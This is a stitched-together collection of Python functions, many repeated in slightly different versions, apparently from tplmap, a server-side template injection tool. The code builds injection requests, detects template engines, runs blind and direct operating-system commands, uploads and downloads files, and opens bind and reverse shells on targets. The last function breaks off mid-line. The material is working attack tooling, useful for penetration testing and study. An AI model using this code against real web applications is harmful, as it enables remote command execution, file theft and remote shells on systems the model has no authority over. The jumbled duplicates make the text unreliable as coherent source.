def execute_blind(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) action = self.actions.get('execute_blind', {}) payload_action = action.get('execute_blind') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_action or not call_name or not hasattr( self, call_name): return expected_delay = self._get_expected_delay() if '%(code_b64)s' in payload_action: log.debug('[b64 encoding] %s' % code) execution_code = payload_action % ( { 'code_b64': base64.urlsafe_b64encode(code), 'delay': expected_delay }) else: execution_code = payload_action % ({ 'code': code, 'delay': expected_delay }) return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=True)
def execute_blind(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) action = self.actions.get('execute_blind', {}) payload_action = action.get('execute_blind') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_action or not call_name or not hasattr(self, call_name): return expected_delay = self._get_expected_delay() if '%(code_b64)s' in payload_action: log.debug('[b64 encoding] %s' % code) execution_code = payload_action % ({ 'code_b64' : base64.urlsafe_b64encode(code), 'delay' : expected_delay }) else: execution_code = payload_action % ({ 'code' : code, 'delay' : expected_delay }) return getattr(self, call_name)( code = execution_code, prefix = prefix, suffix = suffix, blind=True )
def req(self, injection): # Inject get_params = self.get_params.copy() if self.get_placeholders: get_placeholder = self.get_placeholders[0] get_params[get_placeholder] = injection post_params = self.post_params.copy() if self.post_placeholders: post_placeholder = self.post_placeholders[0] post_params[post_placeholder] = injection header_params = self.header_params.copy() if self.header_placeholders: if '\n' in injection: log.debug('Skip payload with not compatible character for headers') else: header_placeholder = self.header_placeholders[0] header_params[header_placeholder] = injection result = requests.request( method = self.http_method, url = self.base_url, params = get_params, data = post_params, headers = header_params ).text log.debug('\n> """%s"""\n< """%s"""' % (injection, result) ) return result
def execute(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) action = self.actions.get('execute', {}) payload = action.get('execute') call_name = action.get('call', 'render') # Skip if something is missing or call function is not set if not action or not payload or not call_name or not hasattr( self, call_name): return if '%(code_b64)s' in payload: log.debug('[b64 encoding] %s' % code) execution_code = payload % ({ 'code_b64': base64.urlsafe_b64encode(code) }) else: execution_code = payload % ({'code': code}) result = getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, blind=blind) return result
def inject(self, payload, header=None, header_rand=None, trailer=None, trailer_rand=None, prefix=None, suffix=None): header_rand = rand.randint_n(3) if header_rand == None else header_rand header = self.get('header_tag', '%(header)s') % ({ 'header': header_rand }) if header == None else header trailer_rand = rand.randint_n( 3) if trailer_rand == None else trailer_rand trailer = self.get('trailer_tag', '%(trailer)s') % ({ 'trailer': trailer_rand }) if trailer == None else trailer prefix = self.get('prefix', '') if prefix == None else prefix suffix = self.get('suffix', '') if suffix == None else suffix injection = prefix + header + payload + trailer + suffix result = self.channel.req(injection) log.debug('[request %s]' % (self.plugin)) # Cut the result using the header and trailer if specified if header: before, _, result = result.partition(str(header_rand)) if trailer: result, _, after = result.partition(str(trailer_rand)) return result.strip()
def req(self, injection): # Inject get_params = {} if self.get_placeholders: get_placeholder = self.get_placeholders[0] get_params = self.get_params.copy() get_params[get_placeholder] = injection post_params = {} if self.post_placeholders: post_placeholder = self.post_placeholders[0] post_params = self.post_params.copy() post_params[post_placeholder] = injection header_params = {} if self.header_placeholders: if '\n' in injection: log.debug( 'Skip payload with not compatible character for headers') else: header_placeholder = self.header_placeholders[0] header_params = self.header_params.copy() header_params[header_placeholder] = injection result = requests.request(method=self.http_method, url=self.base_url, params=get_params, data=post_params, headers=header_params).text log.debug('\n> """%s"""\n< """%s"""' % (injection, result)) return result
def execute(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) action = self.actions.get('execute', {}) payload = action.get('execute') call_name = action.get('call', 'render') # Skip if something is missing or call function is not set if not action or not payload or not call_name or not hasattr(self, call_name): return if '%(code_b64)s' in payload: log.debug('[b64 encoding] %s' % code) execution_code = payload % ({ 'code_b64' : base64.urlsafe_b64encode(code) }) else: execution_code = payload % ({ 'code' : code }) result = getattr(self, call_name)( code = execution_code, prefix = prefix, suffix = suffix, blind = blind ) return result
def inject(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) injection = prefix + code + suffix if self.channel.args.get('verbose'): log.info('\n\033[93m[+] {}\033[00m\n'.format(injection)) log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url))) # If the request is blind if blind: expected_delay = self._get_expected_delay() start = int(time.time()) self.channel.req(injection) end = int(time.time()) delta = end - start result = delta >= expected_delay log.debug( '[blind %s] code above took %s (%s-%s). %s is the threshold, returning %s' % (self.plugin, str(delta), str(end), str(start), str(expected_delay), str(result))) self._inject_verbose = { 'result': result, 'payload': injection, 'expected_delay': expected_delay, 'start': start, 'end': end, } return result else: start = int(time.time()) result = self.channel.req(injection) end = int(time.time()) # Append the execution time to a buffer delta = end - start self.render_req_tm.append(delta) return result.strip() if result else result
def inject(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) injection = prefix + code + suffix log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url))) # If the request is blind if blind: expected_delay = self._get_expected_delay() start = datetime.datetime.now() self.channel.req(injection) end = datetime.datetime.now() delta = end - start result = delta.seconds >= expected_delay log.debug( '[blind %s] code above took %s. %s is the threshold, returning %s' % (self.plugin, str( delta.seconds), str(expected_delay), str(result))) self._inject_verbose = { 'result': result, 'payload': injection, 'expected_delay': expected_delay, 'start': start, 'end': end, } return result else: start = datetime.datetime.now() result = self.channel.req(injection) end = datetime.datetime.now() # Append the execution time to a buffer delta = end - start self.render_req_tm.append(delta.seconds) return result.strip() if result else result
def write(self, data, remote_path): action = self.actions.get('write', {}) payload_write = action.get('write') payload_truncate = action.get('truncate') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_write or not payload_truncate or not call_name or not hasattr( self, call_name): return # Check existance and overwrite with --force-overwrite if self.get('blind') or self.md5(remote_path): if not self.channel.args.get('force_overwrite'): if self.get('blind'): log.warn( 'Blind upload might overwrite files, run with --force-overwrite to continue' ) else: log.warn( 'Remote file already exists, run with --force-overwrite to overwrite' ) return else: execution_code = payload_truncate % ({'path': remote_path}) getattr(self, call_name)(code=execution_code) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): log.debug('[b64 encoding] %s' % chunk) chunk_b64 = base64.urlsafe_b64encode(chunk) execution_code = payload_write % ({ 'path': remote_path, 'chunk_b64': chunk_b64 }) getattr(self, call_name)(code=execution_code) if self.get('blind'): log.warn( 'Blind upload can\'t check the upload correctness, check manually' ) elif not md5(data) == self.md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def inject(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) injection = prefix + code + suffix log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url))) # If the request is blind if blind: expected_delay = self._get_expected_delay() start = int(time.time()) self.channel.req(injection) end = int(time.time()) delta = end - start result = delta >= expected_delay log.debug('[blind %s] code above took %s (%s-%s). %s is the threshold, returning %s' % (self.plugin, str(delta), str(end), str(start), str(expected_delay), str(result))) self._inject_verbose = { 'result': result, 'payload': injection, 'expected_delay': expected_delay, 'start': start, 'end': end, } return result else: start = int(time.time()) result = self.channel.req(injection) end = int(time.time()) # Append the execution time to a buffer delta = end - start self.render_req_tm.append(delta) return result.strip() if result else result
def _detect_unreliable_render(self): render_action = self.actions.get('render') if not render_action: return # Print what it's going to be tested log.debug('%s plugin is testing unreliable rendering on text context' % (self.plugin)) # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA * randB) payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) }) # Probe with payload wrapped by header and trailer, no suffex or prefix. # Test if contained, since the page contains other garbage if expected in self.render(code=payload, header='', trailer='', header_rand=None, trailer_rand=None, prefix='', suffix=''): # Print if the first found unreliable renode if not self.get('unreliable_render'): log.info( '%s plugin has detected unreliable rendering with tag %s, skipping' % (self.plugin, repr(render_action.get('render') % ({ 'code': '*' })))) self.set('unreliable_render', render_action.get('render')) self.set('unreliable', self.plugin) return
def write(self, data, remote_path): action = self.actions.get('write', {}) payload_write = action.get('write') payload_truncate = action.get('truncate') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_write or not payload_truncate or not call_name or not hasattr(self, call_name): return # Check existance and overwrite with --force-overwrite if self.get('blind') or self.md5(remote_path): if not self.channel.args.get('force_overwrite'): if self.get('blind'): log.warn('Blind upload might overwrite files, run with --force-overwrite to continue') else: log.warn('Remote file already exists, run with --force-overwrite to overwrite') return else: execution_code = payload_truncate % ({ 'path' : remote_path }) getattr(self, call_name)( code = execution_code ) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): log.debug('[b64 encoding] %s' % chunk) chunk_b64 = base64.urlsafe_b64encode(chunk) execution_code = payload_write % ({ 'path' : remote_path, 'chunk_b64' : chunk_b64 }) getattr(self, call_name)( code = execution_code ) if self.get('blind'): log.warn('Blind upload can\'t check the upload correctness, check manually') elif not md5(data) == self.md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.warn('File uploaded correctly')
def req(self, injection): # Inject get_params = self.get_params.copy() if self.get_placeholders: get_placeholder = self.get_placeholders[0] get_params[get_placeholder] = injection post_params = self.post_params.copy() if self.post_placeholders: post_placeholder = self.post_placeholders[0] post_params[post_placeholder] = injection header_params = self.header_params.copy() if self.header_placeholders: if '\n' in injection: log.debug('Skip payload with not compatible character for headers') else: header_placeholder = self.header_placeholders[0] header_params[header_placeholder] = injection proxyDict=None if(self.http_proxy or self.https_proxy): proxyDict = { "http" : self.http_proxy, "https" : self.https_proxy, } result = requests.request( method = self.http_method, url = self.base_url, params = get_params, data = post_params, headers = header_params, proxies=proxyDict, verify=False, ).text log.debug('\n> """%s"""\n< """%s"""' % (injection, result) ) return result
def _detect_unreliable_render(self): render_action = self.actions.get('render') if not render_action: return # Print what it's going to be tested log.debug('%s plugin is testing unreliable rendering on text context' % ( self.plugin ) ) # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA*randB) payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) }) # Probe with payload wrapped by header and trailer, no suffex or prefix if expected == self.render( code = payload, header = '', trailer = '', header_rand = None, trailer_rand = None, prefix = '', suffix = '' ): self.set('render', render_action.get('render')) # Print if the first found unreliable renode if not self.get('unreliable'): log.info('%s plugin has detected unreliable rendering with tag %s, skipping' % ( self.plugin, repr(self.get('render') % ({'code' : '*' }))) ) self.set('unreliable', self.plugin) return
def inject(self, payload, header = None, header_rand = None, trailer = None, trailer_rand = None, prefix = None, suffix = None): header_rand = rand.randint_n(3) if header_rand == None else header_rand header = self.get('header_tag', '%(header)s') % ({ 'header' : header_rand }) if header == None else header trailer_rand = rand.randint_n(3) if trailer_rand == None else trailer_rand trailer = self.get('trailer_tag', '%(trailer)s') % ({ 'trailer' : trailer_rand }) if trailer == None else trailer prefix = self.get('prefix', '') if prefix == None else prefix suffix = self.get('suffix', '') if suffix == None else suffix injection = prefix + header + payload + trailer + suffix result = self.channel.req(injection) log.debug('[request %s]\n > %s\n < %s' % (self.plugin, injection.replace('\n', '\n > '), result.replace('\n', ' \n < ')) ) # Cut the result using the header and trailer if specified if header: before,_,result = result.partition(str(header_rand)) if trailer: result,_,after = result.partition(str(trailer_rand)) return result.strip()
def _detect_unreliable_render(self): render_action = self.actions.get('render') if not render_action: return # Print what it's going to be tested log.debug('%s plugin is testing unreliable rendering on text context' % ( self.plugin ) ) # Prepare base operation to be evalued server-side expected = render_action.get('test_render_expected') payload = render_action.get('test_render') # Probe with payload wrapped by header and trailer, no suffex or prefix. # Test if contained, since the page contains other garbage if expected in self.render( code = payload, header = '', trailer = '', header_rand = 0, trailer_rand = 0, prefix = '', suffix = '' ): # Print if the first found unreliable renode if not self.get('unreliable_render'): log.info('%s plugin has detected unreliable rendering with tag %s, skipping' % ( self.plugin, repr(render_action.get('render') % ({'code' : '*' }))) ) self.set('unreliable_render', render_action.get('render')) self.set('unreliable', self.plugin) return
def inject(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) injection = prefix + code + suffix log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url))) # If the request is blind if blind: expected_delay = self._get_expected_delay() start = datetime.datetime.now() self.channel.req(injection) end = datetime.datetime.now() delta = end - start result = delta.seconds >= expected_delay log.debug('[blind %s] code above took %s. %s was requested' % (self.plugin, str(delta.seconds), str(expected_delay))) return result else: start = datetime.datetime.now() result = self.channel.req(injection) end = datetime.datetime.now() # Append the execution time to a buffer delta = end - start self.render_req_tm.append(delta.seconds) return result.strip() if result else result
def inject(self, payload, header = None, header_rand = None, trailer = None, trailer_rand = None, prefix = None, suffix = None): header_rand = rand.randint_n(10) if header_rand == None else header_rand header = self.get('header_fmt', '%(header)s') % ({ 'header' : header_rand }) if header == None else header trailer_rand = rand.randint_n(10) if trailer_rand == None else trailer_rand trailer = self.get('trailer_fmt', '%(trailer)s') % ({ 'trailer' : trailer_rand }) if trailer == None else trailer prefix = self.get('prefix', '') if prefix == None else prefix suffix = self.get('suffix', '') if suffix == None else suffix injection = prefix + header + payload + trailer + suffix log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url))) result_raw = self.channel.req(injection) result = None # Cut the result using the header and trailer if specified if header: before,_,result_after = result_raw.partition(str(header_rand)) if trailer and result_after: result,_,after = result_after.partition(str(trailer_rand)) return result.strip() if result else result
def check_template_injection(channel): current_plugin = detect_template_injection(channel) # Kill execution if no engine have been found if not channel.data.get('engine'): log.fatal("""Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""") return # Print injection summary _print_injection_summary(channel) # If actions are not required, prints the advices and exit if not any( f for f,v in channel.args.items() if f in ( 'os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell', 'tpl_code', 'bind_shell', 'reverse_shell' ) and v ): log.info( """Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s""" % ( { 'execute': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\t\tExecute shell commands' if channel.data.get('execute') and not channel.data.get('execute_blind') else '', 'execute_blind': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\tExecute shell commands' if channel.data.get('execute_blind') else '', 'bind_shell': '\n --bind-shell PORT\t\t\tConnect to a shell bind to a target port' if channel.data.get('bind_shell') else '', 'reverse_shell': '\n --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port' if channel.data.get('reverse_shell') else '', 'write': '\n --upload LOCAL REMOTE\tUpload files to the server' if channel.data.get('write') else '', 'read': '\n --download REMOTE LOCAL\tDownload remote files' if channel.data.get('read') else '', } ) ) return # Execute operating system commands if channel.args.get('os_cmd') or channel.args.get('os_shell'): # Check the status of command execution capabilities if channel.data.get('execute_blind'): log.info("""Blind injection has been found and command execution will not produce any output.""") log.info("""Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.""") if channel.args.get('os_cmd'): print current_plugin.execute_blind(channel.args.get('os_cmd')) elif channel.args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute_blind, '%s (blind) $ ' % (channel.data.get('os', ''))).cmdloop() elif channel.data.get('execute'): if channel.args.get('os_cmd'): print current_plugin.execute(channel.args.get('os_cmd')) elif channel.args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop() else: log.error('No system command execution capabilities have been detected on the target.') # Execute template commands if channel.args.get('tpl_code') or channel.args.get('tpl_shell'): if channel.data.get('engine'): if channel.data.get('blind'): log.info("""Only blind execution has been found. Injected template code will not produce any output.""") call = current_plugin.inject else: call = current_plugin.render if channel.args.get('tpl_code'): print call(channel.args.get('tpl_code')) elif channel.args.get('tpl_shell'): log.info('Inject multi-line template code. Press ctrl-D to send the lines') MultilineShell(call, '%s > ' % (channel.data.get('engine', ''))).cmdloop() else: log.error('No code evaluation capabilities have been detected on the target') # Perform file upload local_remote_paths = channel.args.get('upload') if local_remote_paths: if channel.data.get('write'): local_path, remote_path = local_remote_paths with open(local_path, 'rb') as f: data = f.read() current_plugin.write(data, remote_path) else: log.error('No file upload capabilities have been detected on the target') # Perform file read remote_local_paths = channel.args.get('download') if remote_local_paths: if channel.data.get('read'): remote_path, local_path = remote_local_paths content = current_plugin.read(remote_path) with open(local_path, 'wb') as f: f.write(content) else: log.error('No file download capabilities have been detected on the target') # Connect to tcp shell bind_shell_port = channel.args.get('bind_shell') if bind_shell_port: if channel.data.get('bind_shell'): urlparsed = urlparse.urlparse(channel.base_url) if not urlparsed.hostname: log.error("Error parsing hostname") return for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)): log.info('Spawn a shell on remote port %i with payload %i' % (bind_shell_port, idx+1)) thread.join(timeout=1) if not thread.isAlive(): continue try: telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout = 5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug( "Error connecting to %s:%i %s" % ( urlparsed.hostname, bind_shell_port, e ) ) else: log.error('No TCP shell opening capabilities have been detected on the target') # Accept reverse tcp connections reverse_shell_host_port = channel.args.get('reverse_shell') if reverse_shell_host_port: host, port = reverse_shell_host_port timeout = 5 if channel.data.get('reverse_shell'): current_plugin.reverse_shell(host, port) # Run tcp server try: tcpserver = TcpServer(int(port), timeout) except socket.timeout as e: log.error("No incoming TCP shells after %is, quitting." % (timeout)) else: log.error('No reverse TCP shell capabilities have been detected on the target')
def check_template_injection(channel): current_plugin = detect_template_injection(channel) # Kill execution if no engine have been found if not channel.data.get('engine'): log.fatal("""Tested parameters appear to be not injectable.""") return # Print injection summary _print_injection_summary(channel) # If actions are not required, prints the advices and exit if not any( f for f, v in channel.args.items() if f in ('os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell', 'tpl_code', 'bind_shell', 'reverse_shell') and v): log.info( """Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s""" % ({ 'execute': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\t\tExecute shell commands' if channel.data.get('execute') and not channel.data.get('execute_blind') else '', 'execute_blind': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\tExecute shell commands' if channel.data.get('execute_blind') else '', 'bind_shell': '\n --bind-shell PORT\t\t\tConnect to a shell bind to a target port' if channel.data.get('bind_shell') else '', 'reverse_shell': '\n --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port' if channel.data.get('reverse_shell') else '', 'write': '\n --upload LOCAL REMOTE\tUpload files to the server' if channel.data.get('write') else '', 'read': '\n --download REMOTE LOCAL\tDownload remote files' if channel.data.get('read') else '', })) return # Execute operating system commands if channel.args.get('os_cmd') or channel.args.get('os_shell'): # Check the status of command execution capabilities if channel.data.get('execute_blind'): log.info( """Blind injection has been found and command execution will not produce any output.""" ) log.info( """Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.""" ) if channel.args.get('os_cmd'): print(current_plugin.execute_blind(channel.args.get('os_cmd'))) elif channel.args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute_blind, '%s (blind) $ ' % (channel.data.get('os', ''))).cmdloop() elif channel.data.get('execute'): if channel.args.get('os_cmd'): print(current_plugin.execute(channel.args.get('os_cmd'))) elif channel.args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop() else: log.error( 'No system command execution capabilities have been detected on the target.' ) # Execute template commands if channel.args.get('tpl_code') or channel.args.get('tpl_shell'): if channel.data.get('engine'): if channel.data.get('blind'): log.info( """Only blind execution has been found. Injected template code will not produce any output.""" ) call = current_plugin.inject else: call = current_plugin.render if channel.args.get('tpl_code'): print(call(channel.args.get('tpl_code'))) elif channel.args.get('tpl_shell'): log.info( 'Inject multi-line template code. Press ctrl-D to send the lines' ) MultilineShell(call, '%s > ' % (channel.data.get('engine', ''))).cmdloop() else: log.error( 'No code evaluation capabilities have been detected on the target' ) # Perform file upload local_remote_paths = channel.args.get('upload') if local_remote_paths: if channel.data.get('write'): local_path, remote_path = local_remote_paths with open(local_path, 'rb') as f: data = f.read() current_plugin.write(data, remote_path) else: log.error( 'No file upload capabilities have been detected on the target') # Perform file read remote_local_paths = channel.args.get('download') if remote_local_paths: if channel.data.get('read'): remote_path, local_path = remote_local_paths content = current_plugin.read(remote_path) with open(local_path, 'wb') as f: f.write(content) else: log.error( 'No file download capabilities have been detected on the target' ) # Connect to tcp shell bind_shell_port = channel.args.get('bind_shell') if bind_shell_port: if channel.data.get('bind_shell'): urlparsed = urlparse.urlparse(channel.base_url) if not urlparsed.hostname: log.error("Error parsing hostname") return for idx, thread in enumerate( current_plugin.bind_shell(bind_shell_port)): log.info('Spawn a shell on remote port %i with payload %i' % (bind_shell_port, idx + 1)) thread.join(timeout=1) if not thread.isAlive(): continue try: telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout=5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug("Error connecting to %s:%i %s" % (urlparsed.hostname, bind_shell_port, e)) else: log.error( 'No TCP shell opening capabilities have been detected on the target' ) # Accept reverse tcp connections reverse_shell_host_port = channel.args.get('reverse_shell') if reverse_shell_host_port: host, port = reverse_shell_host_port timeout = 15 if channel.data.get('reverse_shell'): current_plugin.reverse_shell(host, port) # Run tcp server try: tcpserver = TcpServer(int(port), timeout) except socket.timeout as e: log.error("No incoming TCP shells after %is, quitting." % (timeout)) else: log.error( 'No reverse TCP shell capabilities have been detected on the target' )
def req(self, injection): get_params = deepcopy(self.get_params) post_params = deepcopy(self.post_params) header_params = deepcopy(self.header_params) # Pick current injection by index inj = deepcopy(self.injs[self.inj_idx]) if inj['field'] == 'POST': if inj.get('part') == 'param': # Inject injection within param old_value = post_params[inj.get('param')] del post_params[inj.get('param')] new_param = inj.get('param').replace(self.tag, injection) post_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, replace value by index post_params[inj.get('param')][inj.get('idx')] = post_params[ inj.get('param')][inj.get('idx')].replace( self.tag, injection) elif inj['field'] == 'GET': if inj.get('part') == 'param': # If injection replaces param, save the value # with a new param old_value = get_params[inj.get('param')] del get_params[inj.get('param')] new_param = inj.get('param').replace(self.tag, injection) get_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, inject value in the correct index get_params[inj.get('param')][inj.get('idx')] = get_params[ inj.get('param')][inj.get('idx')].replace( self.tag, injection) elif inj['field'] == 'Header': if inj.get('part') == 'param': # If injection replaces param, save the value # with a new param old_value = get_params[inj.get('param')] del header_params[inj.get('param')] new_param = inj.get('param').replace(self.tag, injection) header_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, replace value by index header_params[inj.get('param')] = header_params[inj.get( 'param')].replace(self.tag, injection) result = requests.request( method=self.http_method, url=self.base_url, params=get_params, data=post_params, headers=header_params, # By default, SSL check is skipped. # TODO: add a -k curl-like option to set this. verify=False).text log.debug('\n> """%s"""\n< """%s"""' % (injection, result)) return result
from core import checks from core.channel import Channel from utils.loggers import log import traceback version = '0.3' def main(): args = vars(cliparser.options) if not args.get('url'): cliparser.parser.error('URL is required. Run with -h for help.') # Add version args['version'] = version checks.check_template_injection(Channel(args)) if __name__ == '__main__': log.info(cliparser.banner % version) try: main() except (KeyboardInterrupt): log.info('Exiting.') except Exception as e: log.critical('Exiting: %s' % e) log.debug(traceback.format_exc())
def _detect_context(self): # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA*randB) # Prepare first detection payload and header payload = self.render_tag % ({ 'payload': '%s*%s' % (randA, randB) }) header_rand = rand.randint_n(3) header = self.header_tag % ({ 'header' : header_rand }) trailer_rand = rand.randint_n(3) trailer = self.trailer_tag % ({ 'trailer' : trailer_rand }) log.debug('%s: Trying to inject in text context' % self.plugin) # First probe with payload wrapped by header and trailer, no suffex or prefix if expected == self.inject( payload = payload, header = header, trailer = trailer, header_rand = header_rand, trailer_rand = trailer_rand, prefix = '', suffix = '' ): self.set('render_tag', self.render_tag) self.set('header_tag', self.header_tag) self.set('trailer_tag', self.trailer_tag) return log.debug('%s: Injection in text context failed, trying to inject in code context' % self.plugin) # If not found, try to inject all the prefix and suffix pairs falling below the level for ctx in self.contexts: if self.channel.args.get('level') > ctx.get('level', 1): break if expected == self.inject( payload = payload, header = header, trailer = trailer, header_rand = header_rand, trailer_rand = trailer_rand, prefix = ctx.get('prefix', ''), suffix = ctx.get('suffix', '') ): self.set('render_tag', self.render_tag) self.set('header_tag', self.header_tag) self.set('trailer_tag', self.trailer_tag) self.set('prefix', ctx.get('prefix', '')) self.set('suffix', ctx.get('suffix', '')) return log.debug('%s: Injection in code context failed, trying to inject only payload with no header' % self.plugin) # As last resort, just inject without header and trailer and # see if expected is contained in the response page if expected in self.inject( payload = payload, header = '', trailer = '', header_rand = 0, trailer_rand = 0, prefix = '', suffix = '' ): self.set('render_tag', self.render_tag) return
def _detect_context(self): # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA * randB) # Prepare first detection payload and header payload = self.render_tag % ({'payload': '%s*%s' % (randA, randB)}) header_rand = rand.randint_n(3) header = self.header_tag % ({'header': header_rand}) trailer_rand = rand.randint_n(3) trailer = self.trailer_tag % ({'trailer': trailer_rand}) log.debug('%s: Trying to inject in text context' % self.plugin) # First probe with payload wrapped by header and trailer, no suffex or prefix if expected == self.inject(payload=payload, header=header, trailer=trailer, header_rand=header_rand, trailer_rand=trailer_rand, prefix='', suffix=''): self.set('render_tag', self.render_tag) self.set('header_tag', self.header_tag) self.set('trailer_tag', self.trailer_tag) return log.debug( '%s: Injection in text context failed, trying to inject in code context' % self.plugin) # If not found, try to inject all the prefix and suffix pairs falling below the level for ctx in self.contexts: if self.channel.args.get('level') > ctx.get('level', 1): break if expected == self.inject(payload=payload, header=header, trailer=trailer, header_rand=header_rand, trailer_rand=trailer_rand, prefix=ctx.get('prefix', ''), suffix=ctx.get('suffix', '')): self.set('render_tag', self.render_tag) self.set('header_tag', self.header_tag) self.set('trailer_tag', self.trailer_tag) self.set('prefix', ctx.get('prefix', '')) self.set('suffix', ctx.get('suffix', '')) return log.debug( '%s: Injection in code context failed, trying to inject only payload with no header' % self.plugin) # As last resort, just inject without header and trailer and # see if expected is contained in the response page if expected in self.inject(payload=payload, header='', trailer='', header_rand=0, trailer_rand=0, prefix='', suffix=''): self.set('render_tag', self.render_tag) return
def req(self, injection): get_params = deepcopy(self.get_params) post_params = deepcopy(self.post_params) header_params = deepcopy(self.header_params) url_params = self.base_url # Pick current injection by index inj = deepcopy(self.injs[self.inj_idx]) if inj['field'] == 'URL': position = inj['position'] url_params = self.base_url[:position] + injection + self.base_url[position+1:] elif inj['field'] == 'POST': if inj.get('part') == 'param': # Inject injection within param old_value = post_params[inj.get('param')] del post_params[inj.get('param')] if self.tag in inj.get('param'): new_param = inj.get('param').replace(self.tag, injection) else: new_param = injection post_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, replace value by index if self.tag in post_params[inj.get('param')][inj.get('idx')]: post_params[inj.get('param')][inj.get('idx')] = post_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection) else: post_params[inj.get('param')][inj.get('idx')] = injection elif inj['field'] == 'GET': if inj.get('part') == 'param': # If injection replaces param, save the value # with a new param old_value = get_params[inj.get('param')] del get_params[inj.get('param')] if self.tag in inj.get('param'): new_param = inj.get('param').replace(self.tag, injection) else: new_param = injection get_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, inject value in the correct index if self.tag in get_params[inj.get('param')][inj.get('idx')]: get_params[inj.get('param')][inj.get('idx')] = get_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection) else: get_params[inj.get('param')][inj.get('idx')] = injection elif inj['field'] == 'Header': # Headers can't contain \r or \n, sanitize injection = injection.replace('\n', '').replace('\r', '') if inj.get('part') == 'param': # If injection replaces param, save the value # with a new param old_value = get_params[inj.get('param')] del header_params[inj.get('param')] if self.tag in inj.get('param'): new_param = inj.get('param').replace(self.tag, injection) else: new_param = injection header_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, replace value by index if self.tag in header_params[inj.get('param')]: header_params[inj.get('param')] = header_params[inj.get('param')].replace(self.tag, injection) else: header_params[inj.get('param')] = injection if self.tag in self.base_url: log.debug('[URL] %s' % url_params) if get_params: log.debug('[GET] %s' % get_params) if post_params: log.debug('[POST] %s' % post_params) if len(header_params) > 1: log.debug('[HEDR] %s' % header_params) try: result = requests.request( method = self.http_method, url = url_params, params = get_params, data = post_params, headers = header_params, proxies = self.proxies, # By default, SSL check is skipped. # TODO: add a -k curl-like option to set this. verify = False ).text except requests.exceptions.ConnectionError as e: if e and e[0] and e[0][0] == 